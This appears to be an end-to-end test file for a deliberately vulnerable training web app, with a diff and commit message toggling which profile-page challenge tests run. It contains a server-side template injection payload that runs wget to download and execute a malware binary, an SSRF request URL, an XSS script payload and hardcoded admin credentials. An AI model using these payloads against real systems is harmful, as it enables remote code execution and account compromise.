const config = require('config')
const utils = require('../../lib/utils')

describe('/profile', () => {
  let username, submitButton, url, setButton
  beforeEach(() => {
    browser.waitForAngularEnabled(false)
  })

  if (!utils.disableOnContainerEnv()) {
    describe('challenge "SSTi"', () => {
      protractor.beforeEach.login({ email: 'admin@' + config.get('application.domain'), password: 'admin123' })
      browser.get('/profile')

      xit('should be possible to inject arbitrary nodeJs commands in username', () => {
        browser.get('/profile')
        browser.waitForAngularEnabled(false)
        username = element(by.id('username'))
        submitButton = element(by.id('submit'))
        username.sendKeys('#{root.process.mainModule.require(\'child_process\').exec(\'wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_64?raw=true && chmod +x malware && ./malware\')}')
        submitButton.click()
        browser.get('/')
        browser.driver.sleep(5000)
      })
      protractor.expect.challengeSolved({ challenge: 'SSTi' })
    })
  }

  describe('challenge "SSRF"', () => {
    // protractor.beforeEach.login({email: 'admin@' + config.get('application.domain'), password: 'admin123'})
    // browser.get('/profile')

    xit('should be possible to request internal resources using image upload URL', () => {
      browser.get('/profile')
      browser.waitForAngularEnabled(false)
      url = element(by.id('url'))
      submitButton = element(by.id('submitUrl'))
      url.sendKeys('http://localhost:3000/solve/challenges/server-side?key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3')
      submitButton.click()
      browser.get('/')
      browser.driver.sleep(5000)
    })
    // protractor.expect.challengeSolved({ challenge: 'SSRF' })
  })

  describe('challenge "Username XSS"', () => {
    // protractor.beforeEach.login({email: 'admin@' + config.get('application.domain'), password: 'admin123'})

    xit('Username field should be susceptible to XSS attacks', () => {
      const EC = protractor.ExpectedConditions
      browser.get('/profile')
      browser.waitForAngularEnabled(false)
      username = element(by.id('username'))
      setButton = element(by.id('submit'))
      username.sendKeys('<scr  ipt>alert(`xss`)</scr  ipt>')
      setButton.click()
      browser.wait(EC.alertIsPresent(), 5000, "'xss' alert is not present")
      browser.switchTo().alert().then(alert => {
        expect(alert.getText()).toEqual('xss')
        alert.accept()
      })
      browser.driver.sleep(5000)
    })
    // protractor.expect.challengeSolved({ challenge: 'Username XSS' })
  })
})

@@ -292,24 +292,27 @@
 ) =%3E %7B%0A     
+ //
  protractor.
@@ -403,32 +403,35 @@
 min123' %7D)%0A     
+ //
  browser.get('/p
@@ -1028,16 +1028,19 @@
 %7D)%0A     
+ //
  protrac
@@ -1842,35 +1842,32 @@
 S%22', () =%3E %7B%0A   
- //
  protractor.befo
@@ -1872,32 +1872,33 @@
 foreEach.login(%7B
+ 
 email: 'admin@' 
@@ -1957,16 +1957,17 @@
 123'
+ 
 %7D)%0A%0A    
 xit(
@@ -1958,25 +1958,24 @@
 23' %7D)%0A%0A    
-x
 it('Username
@@ -2559,35 +2559,32 @@
 5000)%0A    %7D)%0A   
- //
  protractor.expe

Enable username XSS instead of SSTI test